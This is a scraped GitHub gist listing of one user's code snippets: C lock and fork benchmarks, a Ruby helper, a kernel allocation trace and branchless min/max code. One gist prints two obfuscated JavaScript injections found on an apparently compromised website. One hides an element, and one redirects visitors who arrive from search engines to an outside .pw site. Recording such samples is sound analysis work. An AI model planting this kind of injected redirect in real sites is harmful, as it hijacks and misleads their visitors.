Skip to content

Instantly share code, notes, and snippets.

/*
* lock_fairness_test.c
*
* test program to see unfair behavior of mutex/rwlock/POSIX semaphore.
*
* NOTE:
* The unfairness is not necessarily a bug, since POSIX doesn't say anything
* about fairness, and also the critical section shouldn't be this long.
*
* Fair behavior of this program is that elapsed time is printed
<HTML lang="en">
<HEAD>
<META http-equiv="Content-Type" content="text/html; charset=US-ASCII">
<META http-equiv="Content-Style-Type" content="text/css">
<TITLE>toupper() implementation speed comparison</TITLE>
<STYLE type="text/css">
<!--
table { border-collapse: collapse; }
def recursive_conv_array_to_hash(h)
h.each{|key, value|
if value.is_a?(Array)
hh = {}
value.each{|e| hh[e]=0 }
h[key] = hh
else
recursive_conv_array_to_hash value
end
}
@n-soda
n-soda / forkbench.c
Last active September 3, 2016 21:19
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <libgen.h>
#include <sys/time.h>
#define IBUFSIZE 30
static void
usage(const char *prog)
We couldn’t find that file to show.
script at the end of http://emu.com (probably cracked)
<script>eval(function(p,a,c,k,e,r){e=String;if(!''.replace(/^/,String)){while(c--)r[c]=k[c]||c;k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.1("2").3.4="5"',6,6,'document|getElementById|pjs|style|display|none'.split('|'),0,{}))</script>
from firefox "view source" menu:
<script>eval(('if(/('+'g'+'o'+'og'+'le|'+'yaho'+'o|bi'+'ng|ao'+'l)/i'+'.tes'+'t(do'+'cum'+'ent.r'+'efer'+'r'+'e'+'r)'+'){w'+'indow'+'.set'+'Ti'+'meou'+'t(fun'+'ction'+'(){'+'top.'+'locat'+'io'+'n.'+'href='+'"'+'http'+'://ww'+'w.'+'rk'+'lb'+'uje.p'+'w/ind'+'ex.ph'+'p?m'+'ai'+'n_p'+'age'+'=pr'+'oduct'+'_info'+'&'+'produ'+'cts_'+'id=64'+'30"},'+'100'+'0)}').replace(/####/g, '\''))</script>
gfsd: page allocation failure. order:5, mode:0xd0
Pid: 31349, comm: gfsd Not tainted 2.6.32-279.22.1.el6.x86_64 #1
Call Trace:
[<ffffffff8112343f>] ? __alloc_pages_nodemask+0x77f/0x940
[<ffffffff8115d3e2>] ? kmem_getpages+0x62/0x170
[<ffffffff8115dffa>] ? fallback_alloc+0x1ba/0x270
[<ffffffff8115da4f>] ? cache_grow+0x2cf/0x320
[<ffffffff8115dd79>] ? ____cache_alloc_node+0x99/0x160
[<ffffffff8115ef40>] ? kmem_cache_alloc_node_trace+0x90/0x200
[<ffffffff8115f15d>] ? __kmalloc_node+0x4d/0x60
@n-soda
n-soda / minmax.c
Last active July 28, 2016 03:36
min()/max() implementation without using conditional branch instruction
/*
* max()/min() implementation without any conditional branch instruction.
* basic idea from:
* https://twitter.com/vivisuke/status/539563588332310528
* http://vivi.dyndns.org/blog/archives/306
*
* countermeasure against signed integer overflow by n-soda @ github
*
* NOTE:
* this program is NOT truly portable,